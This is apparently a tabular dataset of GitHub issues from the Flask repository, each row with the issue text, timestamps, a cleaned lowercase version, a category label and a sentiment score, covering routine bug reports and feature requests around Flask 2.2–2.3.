Can I replace this line with something simple?",,2023-05-12 10:25:19+00:00,2023-05-12 11:03:11+00:00,5,nan,0.0263,attributeerror flask object has no attribute before first request when i run code in deepzoom it gives me attributeerror flask object has no attribute before first request img width alt src i don t known anything about flask i m just a student who want to view the image can i replace this line with something simple,bug,-0.4767
pallets/flask,1701771655,Flask 2.3.2 is not compatible with Flassger,"Flask 2.3.2 is not compatible with Flassger

Description:
After upgrading Flask to latest version we are getting below error.

```
from flasgger import Swagger
  File ""C:\Python310\lib\site-packages\flasgger\__init__.py"", line 10, in <module>
    from .base import Swagger, Flasgger, NO_SANITIZER, BR_SANITIZER, MK_SANITIZER, LazyJSONEncoder  # noqa
  File ""C:\Python310\lib\site-packages\flasgger\base.py"", line 28, in <module>
    from flask.json import JSONEncoder
ImportError: cannot import name 'JSONEncoder' from 'flask.json' (C:\Python310\lib\site-packages\flask\json\__init__.py)
```

After downgrading flask to 2.2.3, it works again!

Environment:

- Python version: 3.10.10
- Flask version: 2.3.2
- Flassger: Latest
",,2023-05-09 10:04:25+00:00,2023-05-09 10:06:20+00:00,1,nan,0.0013,flask is not compatible with flassger flask is not compatible with flassger description after upgrading flask to latest version we are getting below error after downgrading flask to it works again environment python version flask version flassger latest,others,-0.4588
pallets/flask,1699025549,Cyclomatic complexity improvements,"Hi, 

I found this hammer called ""cyclomatic complexity"" and a tool ""radon"" on pypi and I built my own tool on top of it. Now I'm looking for nails. In short it's a method to evaluate code quality and I could make small improvements to the code?

E.g. 
https://github.com/pallets/flask/blob/main/src/flask/app.py#L867

turning
```
if not host:
    if sn_host:
        host = sn_host
    else:
        host = ""127.0.0.1""

if port or port == 0:
    port = int(port)
elif sn_port:
    port = int(sn_port)
else:
    port = 5000
```
into small functions like this 
```
def decide_on_default_host(self, host, sn_host)
    if not host:
        if sn_host:
            host = sn_host
        else:
            host = ""127.0.0.1""
        return host

def decide_on_default_port(self, port, sn_port)
    if port or port == 0:
        port = int(port)
    elif sn_port:
        port = int(sn_port)
    else:
        port = 5000
    return port
```
and then using them in place of the old blocks.

Here are some links:
https://pypi.org/project/radon/
https://radon.readthedocs.io/en/latest/commandline.html#the-cc-command
https://en.wikipedia.org/wiki/Cyclomatic_complexity


An example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?


It's not a defect or shortcoming, Flask does not ""need"" changing. The aim is to make the source easier to read, that's all.... [TRUNCATED]",,2023-05-07 11:41:49+00:00,2023-05-07 14:36:54+00:00,1,nan,0.1216,cyclomatic complexity improvements hi i found this hammer called cyclomatic complexity and a tool radon on pypi and i built my own tool on top of it now i m looking for nails in short it s a method to evaluate code quality and i could make small improvements to the code e g turning into small functions like this and then using them in place of the old blocks here are some links an example of the problem which this feature would resolve is this problem solvable without changes to flask such as by subclassing or using an extension it s not a defect or shortcoming flask does not need changing the aim is to make the source easier to read that s all truncated,others,0.7867
pallets/flask,1698732374,`config.from_file` can't read arbitrary toml structures,"I like to use groups on my toml file to organize code. But flask does not seem to understand this. It will simply create config like this:

```
config = {
   'flask': { 'debug': True, 'SECRET_KEY': ''}
}
```


```
[flask]
DEBUG = true
SECRET_KEY = """"

[database]
SQLALCHEMY_DATABASE_URI = 'sqlite:///db.sqlite'
SQLALCHEMY_BINDS = {}
SQLALCHEMY_TRACK_MODIFICATIONS = false
```


Can we add an argument on the `from_file` method so that I do not have to do any manual modification of my toml files, or any manual modification after loading from the toml file in my python code? I should not have to do this. This seems like a bug. 

",,2023-05-06 18:38:59+00:00,2023-05-07 20:58:06+00:00,5,nan,1.0966,can t read arbitrary toml structures i like to use groups on my toml file to organize code but flask does not seem to understand this it will simply create config like this can we add an argument on the method so that i do not have to do any manual modification of my toml files or any manual modification after loading from the toml file in my python code i should not have to do this this seems like a bug,others,0.3919
pallets/flask,1697063645,A Mojo compatible version of Flask,"Hi all!

In case you haven't heard about it, a company called Modular is developing a superset for Python which adds types, low level stuff, and other awesome features. The name of this superset is [Mojo](https://www.modular.com/mojo). 

I think a version of the Flask framework with strong types would benefit developers and the framework maybe would get more adopters because of the types.

_Of course this is just an idea and I'm aware of how big of a challange it would be to write and maintain a seperate version (though you could also just update the original code but that would lead to compatibility issues)._

What do you think?",,2023-05-05 06:08:42+00:00,2023-05-05 12:58:58+00:00,0,nan,0.2849,a mojo compatible version of flask hi all in case you haven t heard about it a company called modular is developing a superset for python which adds types low level stuff and other awesome features the name of this superset is mojo i think a version of the flask framework with strong types would benefit developers and the framework maybe would get more adopters because of the types of course this is just an idea and i m aware of how big of a challange it would be to write and maintain a seperate version though you could also just update the original code but that would lead to compatibility issues what do you think,others,0.7003
pallets/flask,1695714170,Uploading a file adds blank line at top of the file.,"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->
When uploading or saving a file, a empty line is added at the top of the file.

Version impacted : at least 2.2.5

Working version : 2.2.2

## Reproduction :

```python
@app.route(""/"", methods=[""POST""])
def upload_files():
    for file in request.files.getlist(""files""):
        filepath = os.path.join(app.config.get(""UPLOAD_FOLDER""), secure_filename(file.filename))
        file.save(filepath) 
```
### Current behavior :

The file has a blank line at the top (new line)

### Expected behavior :

The file is uploaded as is. (Working as expected on 2.2.2)

Environment:

- Python version: 3.10.11
- Flask version: 2.2.5
",,2023-05-04 10:15:26+00:00,2023-05-04 12:47:40+00:00,2,nan,0.1057,uploading a file adds blank line at top of the file this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is when uploading or saving a file a empty line is added at the top of the file version impacted at least working version reproduction current behavior the file has a blank line at the top new line the file is uploaded as is working as expected on environment python version flask version,others,0.2023
pallets/flask,1692375991,`session_transaction` fails because it's calling `_update_cookies_from_response` with missing arg `headers`,"I'm re-creating the bug using flask and pytest.

## tests/test_session_tx.py

```py
import flask


def test_session_tx():
    app = flask.Flask(""test"")
    app.config[""SECRET_KEY""] = ""foo""
    client = app.test_client()
    with client.session_transaction() as session:
        session[""bar""] = ""baz""
```

- install flask, pytest: `pip install flask==2.2.4 pytest`
- run `pytest tests/test_session_tx.py`

```
        if hasattr(self, ""_update_cookies_from_response""):
>           self._update_cookies_from_response(
                ctx.request.host.partition("":"")[0], resp.headers.getlist(""Set-Cookie"")
            )
E           TypeError: Client._update_cookies_from_response() missing 1 required positional argument: 'headers'

venv/lib/python3.11/site-packages/flask/testing.py:171: TypeError
```

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version: 3.11.2
- Werkzeug version: 2.3.3
- Flask: 2.2.4
",,2023-05-02 10:52:38+00:00,2023-05-02 14:13:07+00:00,2,nan,0.1392,fails because it s calling with missing arg i m re creating the bug using flask and pytest tests test session tx py install flask pytest run describe the that should have happened but didn t environment python version werkzeug version flask,others,-0.2846
pallets/flask,1691049494,Cookie Expiry not working with Werkzeug upgrade,"This looks like a regression in session expiry during testing I'm getting trying to upgrade Werkzeug to the latest version. But, I'm not sure which library to report between flask-login, werkzeug and flask. Happy to repost or restructure!

I'm overriding session expiry to set a cookie with custom expiry times. My test for this broke although my manual testing seems to work fine. So, I simplified my code to build this small minimal working example. If Werkzeug is `2.3.2` the session won't be expired despite being in the past. If I downgrade back to `2.2.2` the test will pass showing the cookie is being rejected.


main.py
```python
from datetime import datetime

from flask import Flask, jsonify
from flask.sessions import SecureCookieSessionInterface, SessionMixin
from flask_login import LoginManager, UserMixin, login_required, login_user


class CustomSessionInterface(SecureCookieSessionInterface):
    def get_expiration_time(
        self, app: ""Flask"", session: SessionMixin
    ) -> datetime | None:
        return datetime(2001, 1, 1, 12, 0, 0)


app = Flask(__name__)
login_manager = LoginManager(app=app)

app.config[""SERVER_NAME""] = ""test.fakedomain""
app.config[""DEBUG""] = True
app.config[""PROPAGATE_EXCEPTIONS""] = True
app.config[""SECRET_KEY""] = ""mysecretkey""
app.session_interface = CustomSessionInterface()


class User(UserMixin):
    def __init__(self, id):
        self.id = id

    def is_active(self):
        return True


@login_ma... [TRUNCATED]",,2023-05-01 16:46:39+00:00,2023-05-01 17:12:15+00:00,2,nan,0.0178,cookie expiry not working with werkzeug upgrade this looks like a regression in session expiry during testing i m getting trying to upgrade werkzeug to the latest version but i m not sure which library to report between flask login werkzeug and flask happy to repost or restructure i m overriding session expiry to set a cookie with custom expiry times my test for this broke although my manual testing seems to work fine so i simplified my code to build this small minimal working example if werkzeug is the session won t be expired despite being in the past if i downgrade back to the test will pass showing the cookie is being rejected main py python from datetime import datetime from flask import flask jsonify from flask sessions import securecookiesessioninterface sessionmixin from flask login import loginmanager usermixin login required login user class customsessioninterface securecookiesessioninterface def get expiration time self app flask session sessionmixin datetime none return datetime app flask name login manager loginmanager app app app config server name test fakedomain app config debug true app config propagate exceptions true app config secret key mysecretkey app session interface customsessioninterface class user usermixin def init self id self id id def is active self return true login ma truncated,others,0.9547
pallets/flask,1686787386,Blueprint route changes mimetype from 'multipart/form-data' to 'application/x-www-form-urlencoded',"No sure if a bug, but I couldn't find anywhere else the reason for this behaviour of Blueprints.

When send the same `multipart/form-data` request to `/foo` and `/bar` bellow, I get different mimetypes:

```python
# app.py

from flask import Flask
from foo_bp import foo_bp

app = Flask(__name__)

app.register_blueprint(foo_bp)

@app.route(""/bar"", methods=[""POST""])
def bar():
    print(request.mimetype) # =>  multipart/form-data
```

```python
# foo_bp.py

from flask import Blueprint

foo_bp = Blueprint(""foo_bp"", __name__, url_prefix=""/foo"")

@foo_bp.route(""/"", methods=[""POST""])
def foo():
    print(request.mimetype) # => application/x-www-form-urlencoded
```

For `/foo` (a Blueprint) I get `application/x-www-form-urlencoded` while for `/bar` I get the expected `multipart/form-data`.

Also, `request.files` in the Blueprint has an empty list.

Am I missing something? Thank you in advance.

Environment:

- Python version: 3.10.11
- Flask version: 2.2.3
",,2023-04-27 12:49:09+00:00,2023-04-27 13:01:18+00:00,0,nan,0.0084,blueprint route changes mimetype from multipart form data to application x www form urlencoded no sure if a bug but i couldn t find anywhere else the reason for this behaviour of blueprints when send the same request to and bellow i get different mimetypes for a blueprint i get while for i get the expected also in the blueprint has an empty list am i missing something thank you in advance environment python version flask version,others,-0.4019
pallets/flask,1685337135,module  'flask.json' has no attribute 'JSONEncoder',"I use connexion ver 2.14.2 which imports flask. Today my docker build picked up a new Flask version 2.3.1 and the tox tests fail.  I get similar results on startup when using Flask versions 2.3.0 and 2.3.1:
```
our_module/__init__.py:9: in <module>
    import connexion
.tox/code/lib/python3.9/site-packages/connexion/__init__.py:32: in <module>
    from .apps.flask_app import FlaskApp
.tox/code/lib/python3.9/site-packages/connexion/apps/flask_app.py:151: in <module>
    class FlaskJSONEncoder(json.JSONEncoder):
E   AttributeError: module 'flask.json' has no attribute 'JSONEncoder'
```

When I pinned Flask to version 2.2.4 it works fine. Of course this could be a problem over in *connexion*, or something I need to do differently to use the latest Flask. I'll go re-re-recheck your release notes. 

Please comment, thanks in advance!

Environment:

- Python version: 3.9
- Flask version: 2.2.4 is ok, 
",,2023-04-26 16:19:04+00:00,2023-04-26 16:22:33+00:00,3,nan,0.0024,module flask json has no attribute jsonencoder i use connexion ver which imports flask today my docker build picked up a new flask version and the tox tests fail i get similar results on startup when using flask versions and when i pinned flask to version it works fine of course this could be a problem over in connexion or something i need to do differently to use the latest flask i ll go re re recheck your release notes please comment thanks in advance environment python version flask version is ok,others,0.0772
pallets/flask,1684196052,python3.7 flask2.2.3 webapi can be connected by Postman and browser but not c# Net6 HttpClient.PostAsync,"Hi, 
I build a very simple web api by flask2.2.3 using python3.7.
I can use Postman and browser to connect this webapi but not working in c# Net6 by HttpClient.PostAsync.
Please help me to pass this error.
Thank you.



error message in c#:
****************************
{System.Net.Sockets.SocketException (111): Connection refused
   at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.ThrowException(SocketError error, CancellationToken cancellationToken)
   at System.Net.Sockets.Socket.AwaitableSocketAsyncEventArgs.System.Threading.Tasks.Sources.IValueTaskSource.GetResult(Int16 token)
   at System.Net.Sockets.Socket.<ConnectAsync>g__WaitForConnectWithCancellation|277_0(AwaitableSocketAsyncEventArgs saea, ValueTask connectTask, CancellationToken cancellationToken)
   at System.Net.Http.HttpConnectionPool.ConnectToTcpHostAsync(String host, Int32 port, HttpRequestMessage initialRequest, Boolean async, CancellationToken cancellationToken)}
*****************************


here is the code:
*****************************
from flask import Flask, jsonify, redirect, url_for, render_template,request, Response
import json
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@app.route('/qryData/', methods=['POST', 'GET'])
def qryData():

    return jsonify(True);


if __name__ == '__main__':
    app.run(host='0.0.0.0',port=58080,debug=True)   

*****************************



Thanks for your help.",,2023-04-26 03:15:20+00:00,2023-04-26 03:36:57+00:00,0,nan,0.015,python flask webapi can be connected by postman and browser but not c net httpclient postasync hi i build a very simple web api by flask using python i can use postman and browser to connect this webapi but not working in c net by httpclient postasync please help me to pass this error thank you error message in c system net sockets socketexception connection refused at system net sockets socket awaitablesocketasynceventargs throwexception socketerror error cancellationtoken cancellationtoken at system net sockets socket awaitablesocketasynceventargs system threading tasks sources ivaluetasksource getresult int token at system net sockets socket g waitforconnectwithcancellation awaitablesocketasynceventargs saea valuetask connecttask cancellationtoken cancellationtoken at system net http httpconnectionpool connecttotcphostasync string host int port httprequestmessage initialrequest boolean async cancellationtoken cancellationtoken here is the code from flask import flask jsonify redirect url for render template request response import json from flask cors import cors app flask name cors app app route qrydata methods post get def qrydata return jsonify true if name main app run host port debug true thanks for your help,others,0.7579
pallets/flask,1683898445,ImportError: cannot import name 'Markup' from 'flask',"I want to start by apologizing in advance if I make any mistakes in this bug report, I'm new to development and any mistakes are unintentional. That being said I appreciate any input as to how I can improve.

# The issue: #
Creating a class that inherits from FlaskForm causes an error with the following traceback
```
Error: While importing 'app', an ImportError was raised:

Traceback (most recent call last):
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask/cli.py"", line 218, in locate_app
    __import__(module_name)
  File ""/home/rburd/academy/Mod-6/w18/d5/app/__init__.py"", line 2, in <module>
    from .form import Tweet
  File ""/home/rburd/academy/Mod-6/w18/d5/app/form.py"", line 1, in <module>
    from flask_wtf import FlaskForm
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/__init__.py"", line 4, in <module>
    from .recaptcha import Recaptcha
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/recaptcha/__init__.py"", line 1, in <module>
    from .fields import RecaptchaField
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/recaptcha/fields.py"", line 3, in <module>
    from . import widgets
  File ""/home/rburd/.local/share/virtualenvs/d5-9RMvys9g/lib/python3.11/site-packages/flask_wtf/recaptcha/widgets.py"", line 2, in <module>
    from flask import Markup
ImportError: cann... [TRUNCATED]",,2023-04-25 21:28:05+00:00,2023-04-25 21:38:11+00:00,1,nan,0.007,importerror cannot import name markup from flask i want to start by apologizing in advance if i make any mistakes in this bug report i m new to development and any mistakes are unintentional that being said i appreciate any input as to how i can improve the issue creating a class that inherits from flaskform causes an error with the following traceback error while importing app an importerror was raised traceback most recent call last file home rburd local share virtualenvs d rmvys g lib python site packages flask cli py line in locate app import module name file home rburd academy mod w d app init py line in from form import tweet file home rburd academy mod w d app form py line in from flask wtf import flaskform file home rburd local share virtualenvs d rmvys g lib python site packages flask wtf init py line in from recaptcha import recaptcha file home rburd local share virtualenvs d rmvys g lib python site packages flask wtf recaptcha init py line in from fields import recaptchafield file home rburd local share virtualenvs d rmvys g lib python site packages flask wtf recaptcha fields py line in from import widgets file home rburd local share virtualenvs d rmvys g lib python site packages flask wtf recaptcha widgets py line in from flask import markup importerror cann truncated,bug,-0.9531
pallets/flask,1683709619,Cannot import Markup from flask,"`from flask import Markup` and `flask.Markup` both don’t work. This is merely supposed to be deprecated, not broken, in Flask 2.3.0.

Example A:
```python
import flask

print(flask.Markup('hi'))
```
```
Traceback (most recent call last):
  File ""/tmp/flask230/1.py"", line 3, in <module>
    print(flask.Markup('hi'))
  File ""/tmp/flask230/venv/lib/python3.10/site-packages/flask/__init__.py"", line 102, in __getattr__
    raise AttributeError(name)
AttributeError: Markup
```

Example B:
```python
from flask import Markup

print(Markup('hi'))
```
```
Traceback (most recent call last):
  File ""/tmp/flask230/2.py"", line 1, in <module>
    from flask import Markup
ImportError: cannot import name 'Markup' from 'flask' (/tmp/flask230/venv/lib/python3.10/site-packages/flask/__init__.py)
```

Environment:

- Python version: 3.10.10
- Flask version: 2.3.0",,2023-04-25 19:11:36+00:00,2023-04-25 20:06:30+00:00,2,nan,0.0381,cannot import markup from flask and both don t work this is merely supposed to be deprecated not broken in flask example a example b environment python version flask version,others,0.3724
pallets/flask,1678264256,Auto-reload triggered on file read,"Summary:
Auto-reload on the development server is triggered by requests (i.e. file reads) without a file modification happening.


How to reproduce:
Any Flask project, having installed Watchdog version >= 2.3.0. Send a request to any endpoint.

Expected behavior:
When sending a request to the server, the server answers and doesn't get reloaded unless a file is modified.

My assumption is that the new event FileOpenedEvent added in 2.3.0 is being treated as a file modification and triggering auto-reload. Forcing watchdog version 2.2.1 fixed the problem.

Environment:

- Python version: 3.8
- Flask version: 2.2.2
",,2023-04-21 10:09:44+00:00,2023-04-21 11:35:45+00:00,1,nan,0.0597,auto reload triggered on file read summary auto reload on the development server is triggered by requests i e file reads without a file modification happening how to reproduce any flask project having installed watchdog version send a request to any endpoint when sending a request to the server the server answers and doesn t get reloaded unless a file is modified my assumption is that the new event fileopenedevent added in is being treated as a file modification and triggering auto reload forcing watchdog version fixed the problem environment python version flask version,others,-0.4019
pallets/flask,1671470213,pip install flask-sqlalchemy  Fails,"<!--
On newest version of python (3.11). Using Pycharm. Venv environment.
Trying to attach Sqlalchemy.

pip install flask-wtf      Works fine
pip install flask-sqlalchemy     Fails. 

Fails to build greenlet.  Wheel does not run successfully.

Using the same steps in python (3.8), all works fine.

Is it not compatible with version 3.11

Any help is appreciated.

Thanks,
Digdug

-->

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

<!--
Describe the expected behavior that should have happened but didn't.
-->

Environment:

- Python version:
- Flask version:
",,2023-04-17 15:36:45+00:00,2023-04-17 15:49:10+00:00,3,nan,0.0086,pip install flask sqlalchemy fails on newest version of python using pycharm venv environment trying to attach sqlalchemy pip install flask wtf works fine pip install flask sqlalchemy fails fails to build greenlet wheel does not run successfully using the same steps in python all works fine is it not compatible with version any help is appreciated thanks digdug describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception describe the that should have happened but didn t environment python version flask version,others,-0.6327
pallets/flask,1670652186,Unit testing a delete endpoint causes ValueError: Invalid location argument: args,"I am trying to create a unit test for a DELETE endpoint. Here is simplified code:
```
app = Flask(__name__)
app.config.update({
    ""TESTING"": True,
})
api = Api(app)
api.add_resource(ObjectiveInterface, ""/objectives"")

client = app.test_client()
response = client.delete('/objectives?id=12') # also tried client.delete('/objectives', data={'id': '12'})
```

Which fails with the following error. I followed the guide [here](https://flask.palletsprojects.com/en/2.2.x/testing/) to write my test, and I believe the code is correct. Is this a bug with Flask or am I doing something wrong?
```
Error
Traceback (most recent call last):
  File ""test_objective_interface.py"", line 92, in test_delete
    response = self.client.delete('/objectives?id=12')
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 1156, in delete
    return self.open(*args, **kw)
           ^^^^^^^^^^^^^^^^^^^^^^
  File ""flask\testing.py"", line 223, in open
    response = super().open(
               ^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 1095, in open
    response = self.run_wsgi_app(request.environ, buffered=buffered)
               ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 962, in run_wsgi_app
    rv = run_wsgi_app(self.application, environ, buffered=buffered)
         ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File ""werkzeug\test.py"", line 1243, in run_wsgi_app
    app_rv = app(... [TRUNCATED]",,2023-04-17 08:12:58+00:00,2023-04-17 12:56:47+00:00,1,nan,0.1971,unit testing a delete endpoint causes valueerror invalid location argument args i am trying to create a unit test for a delete endpoint here is simplified code which fails with the following error i followed the guide here to write my test and i believe the code is correct is this a bug with flask or am i doing something wrong error traceback most recent call last file test objective interface py line in test delete response self client delete objectives id file werkzeug test py line in delete return self open args kw file flask testing py line in open response super open file werkzeug test py line in open response self run wsgi app request environ buffered buffered file werkzeug test py line in run wsgi app rv run wsgi app self application environ buffered buffered file werkzeug test py line in run wsgi app app rv app truncated,bug,-0.8979
pallets/flask,1667993510,"CONTRIBUTING: Change from venv name ""env"" to "".venv"" for Windows as well?","https://github.com/pallets/flask/blob/182ce3dd15dfa3537391c3efaf9c3ff407d134d4/CONTRIBUTING.rst?plain=1#L123-L124

I think in line 124 `env` should also be renamed to `.venv`",docs,2023-04-14 10:31:46+00:00,2023-04-15 14:39:46+00:00,1,docs,1.1722,contributing change from venv name env to venv for windows as well i think in line should also be renamed to,documentation,0.2732
pallets/flask,1667967848,Allow to not trim prefixes on Config.from_prefixed_env,"`Config.from_prefixed_env` is quite helpful to automatically import configuration from the environment variables. However, I ran into the issue that I want to use it together with the `Config.get_namespace` feature, which itself requires a certain prefix, to configure extensions to Flask (PonyORM in my case) using environment variables.

I thought about using the prefix `PONY_` for the namespace, however with the current implementation, the environment variables must be called something like `FLASK_PONY_*` or `PONY_PONY_*` so they can be imported using `from_prefixed_env` to retain a prefix to then be correctly returned by `get_namespace`.

I know that this is theoretically possible without changing Flask by implementing the required variant for from_prefixed_env in my own app, however, I think this feature might be helpful to other Flask users, especially together with `get_namespace`.",,2023-04-14 10:15:37+00:00,2023-04-14 16:23:21+00:00,1,nan,0.2554,allow to not trim prefixes on config from prefixed env is quite helpful to automatically import configuration from the environment variables however i ran into the issue that i want to use it together with the feature which itself requires a certain prefix to configure extensions to flask ponyorm in my case using environment variables i thought about using the prefix for the namespace however with the current implementation the environment variables must be called something like or so they can be imported using to retain a prefix to then be correctly returned by i know that this is theoretically possible without changing flask by implementing the required variant for from prefixed env in my own app however i think this feature might be helpful to other flask users especially together with,bug,0.8998
pallets/flask,1665316565,make blinker a required dependency,"It's now part of the Pallets-Eco community, https://github.com/pallets-eco. Making it required will simplify Flask's support, it's a bit of a hack right now that typing doesn't like.",,2023-04-12 21:55:49+00:00,2023-04-13 14:51:13+00:00,0,nan,0.7051,make blinker a required dependency it s now part of the pallets eco community making it required will simplify flask s support it s a bit of a hack right now that typing doesn t like,others,0.6369
pallets/flask,1665159787,Docs: chat assistant,"Proposal:
Use OpenAI (or other LLM) API to allow users to query the docs interactively with a chatbot assistant. For building it would involve chopping up the documentation into each section and storing them in a vector database like chroma, weviate, pinecone, supabase etc and using langchain as the back end to pre-prompt the LLM. The LLM would then query the vector database for the relevant section and return a nuanced answer to the user's question. It would look very similar to what supabase is working on with clippy for their docs: https://supabase.com/blog/chatgpt-supabase-docs . 

What it changes:
This would be a change to the doc site and not to Flask itself. It would also require an openAI api key (or another LLM or access to a self hosted LLM). I'm currently building out a version myself as part of a learning project but it will have a cap on the number of queries that can be asked since my spend limit on OpenAI is $30/month.
",,2023-04-12 19:54:36+00:00,2023-04-12 19:58:29+00:00,1,nan,0.0027,docs chat assistant proposal use openai or other llm api to allow users to query the docs interactively with a chatbot assistant for building it would involve chopping up the documentation into each section and storing them in a vector database like chroma weviate pinecone supabase etc and using langchain as the back end to pre prompt the llm the llm would then query the vector database for the relevant section and return a nuanced answer to the user s question it would look very similar to what supabase is working on with clippy for their docs what it changes this would be a change to the doc site and not to flask itself it would also require an openai api key or another llm or access to a self hosted llm i m currently building out a version myself as part of a learning project but it will have a cap on the number of queries that can be asked since my spend limit on openai is month,documentation,0.3919
pallets/flask,1664936484,App.json_provider_class has no effect is defined after app creation,"Hi

### What happens

When setting `json_provider_class` after app creation, it has no effect, because you only set a variable, and it doesn't update `app.json` which is used after

```python
app = Flask(__name__)
app.json_provider_class = CustomProvider
```

It does work if you do the following :

```python
Flask.json_provider_class = CustomProvider
app = Flask(__name__)
```

And of you course if you do the following, but I find it a bit verbose

```python
app = Flask(__name__)
app.json = CustomProvider(app)
```
### Expectation

I expect either 

- `app.json_provider_class = CustomProvider` to work
- `Flask.json_provider_class = CustomProvider` to be explicitly documented 

### How to solve

I let you decide what you prefer. 

I can provide a PR for the first one, I'll just change  variable `json_provider_class: t.Type[JSONProvider] = DefaultJSONProvider` to a getter+setter that updates `self.json` as it is done in the `__init__` `self.json: JSONProvider = self.json_provider_class(self)`. 

Environment:

- Python version: 3.10
- Flask version: 2.2.3
",,2023-04-12 17:12:02+00:00,2023-04-12 17:15:19+00:00,3,nan,0.0023,app json provider class has no effect is defined after app creation hi what happens when setting after app creation it has no effect because you only set a variable and it doesn t update which is used after it does work if you do the following and of you course if you do the following but i find it a bit verbose expectation i expect either to work to be explicitly documented how to solve i let you decide what you prefer i can provide a pr for the first one i ll just change variable to a getter setter that updates as it is done in the environment python version flask version,others,0.2732
pallets/flask,1664653826,refactor session cookie domain handling,"If `SESSION_COOKIE_DOMAIN` is not set, it currently falls back to `SERVER_NAME`. However, setting a domain is actually _less_ secure than not setting one. When not set, the browser will restrict the cookie to the exact domain. When set, it will allow exact as well as any subdomain.

If `SERVER_NAME` is not set, that's fine, but it's likely to be set for other reasons.

We should not fall back to `SERVER_NAME`. Either the session is specific to the domain that set it, or it's explicitly configured to be shared.

We currently add a leading dot `.` to the domain if the app is at the root path. This was an old way to signal subdomain support, but is not how things work anymore. Modern browsers ignore a leading dot, and only use exact matching if the domain is not set.

Additionally, if the domain does not contain a dot `.` (`localhost`) we currently don't set it and show a warning. We also show a warning for IP addresses. This  was apparently a limitation of browsers in 2017, but no longer appears to be an issue.

#1784 discussed the `SERVER_NAME` fallback before, and #2282 was where I refactored this in 2017.",,2023-04-12 14:12:07+00:00,2023-04-12 20:10:36+00:00,0,nan,0.2489,refactor session cookie domain handling if is not set it currently falls back to however setting a domain is actually less secure than not setting one when not set the browser will restrict the cookie to the exact domain when set it will allow exact as well as any subdomain if is not set that s fine but it s likely to be set for other reasons we should not fall back to either the session is specific to the domain that set it or it s explicitly configured to be shared we currently add a leading dot to the domain if the app is at the root path this was an old way to signal subdomain support but is not how things work anymore modern browsers ignore a leading dot and only use exact matching if the domain is not set additionally if the domain does not contain a dot we currently don t set it and show a warning we also show a warning for ip addresses this was apparently a limitation of browsers in but no longer appears to be an issue discussed the fallback before and was where i refactored this in,others,-0.7871
pallets/flask,1662712596,Tox -min env doesn't actually test min dependencies,"Looks like `tests.pallet-min.in` does not do what it is meant to.

I may be confused, but AFAIU, it is meant to test on minimal supported dependencies versions.

Here's the content of `tests.pallet-min.in`:

> Werkzeug==2.0.0
Jinja2==3.0.0
MarkupSafe==2.0.0
itsdangerous==2.0.0
click==8.0.0

And [here](https://github.com/pallets/flask/actions/runs/4597176076/jobs/8119549181)'s a job log:

> py311-min: freeze> python -m pip freeze --all
py311-min: asgiref==3.6.0,attrs==22.2.0,blinker==1.5,click==8.0.0,exceptiongroup==1.1.0,Flask @ file:///home/runner/work/flask/flask/.tox/.tmp/package/1/Flask-2.3.0.dev0-py3-none-any.whl,iniconfig==2.0.0,itsdangerous==2.0.0,Jinja2==3.0.0,MarkupSafe==2.1.2,packaging==23.0,pip==23.0.1,pluggy==1.0.0,pytest==7.2.2,python-dotenv==1.0.0,setuptools==67.4.0,tomli==2.0.1,Werkzeug==2.2.3,wheel==0.38.4
py311-min: commands[0]> pytest -v --tb=short --basetemp=/home/runner/work/flask/flask/.tox/tmp/py311-min tests

The freeze indicates the versions in use are not the versions from the `tests.pallet-min.in`.

I believe this could be fixed with [constrain_package_deps](https://tox.wiki/en/latest/config.html#constrain_package_deps) and perhaps [use_frozen_constraints](https://tox.wiki/en/latest/config.html#use_frozen_constraints). I used a configuration similar to the one here in Flask in a project of mine, and I solved it using those flags, but I'm not sure how to do it in Flask's `tox.ini` (it may require to de-factorize the min case out of... [TRUNCATED]",testing,2023-04-11 15:09:53+00:00,2023-04-15 19:27:33+00:00,6,testing,4.1789,tox min env doesn t actually test min dependencies looks like does not do what it is meant to i may be confused but afaiu it is meant to test on minimal supported dependencies versions here s the content of werkzeug jinja markupsafe itsdangerous click and here a job log py min freeze python m pip freeze all py min asgiref attrs blinker click exceptiongroup flask file home runner work flask flask tox tmp package flask dev py none any whl iniconfig itsdangerous jinja markupsafe packaging pip pluggy pytest python dotenv setuptools tomli werkzeug wheel py min commands pytest v tb short basetemp home runner work flask flask tox tmp py min tests the freeze indicates the versions in use are not the versions from the i believe this could be fixed with constrain package deps and perhaps use frozen constraints i used a configuration similar to the one here in flask in a project of mine and i solved it using those flags but i m not sure how to do it in flask s it may require to de factorize the min case out of truncated,others,0.6318
pallets/flask,1659682624,Grammar error in README,"README says ""Flask offers suggestions, but doesn't enforce any dependencies or
project layout.""

Correction to ""Flask offers suggestions but doesn't enforce any dependencies or
project layouts.""",,2023-04-09 00:04:20+00:00,2023-04-09 13:10:06+00:00,1,nan,0.5457,grammar error in readme readme says flask offers suggestions but doesn t enforce any dependencies or project layout correction to flask offers suggestions but doesn t enforce any dependencies or project layouts,bug,-0.25
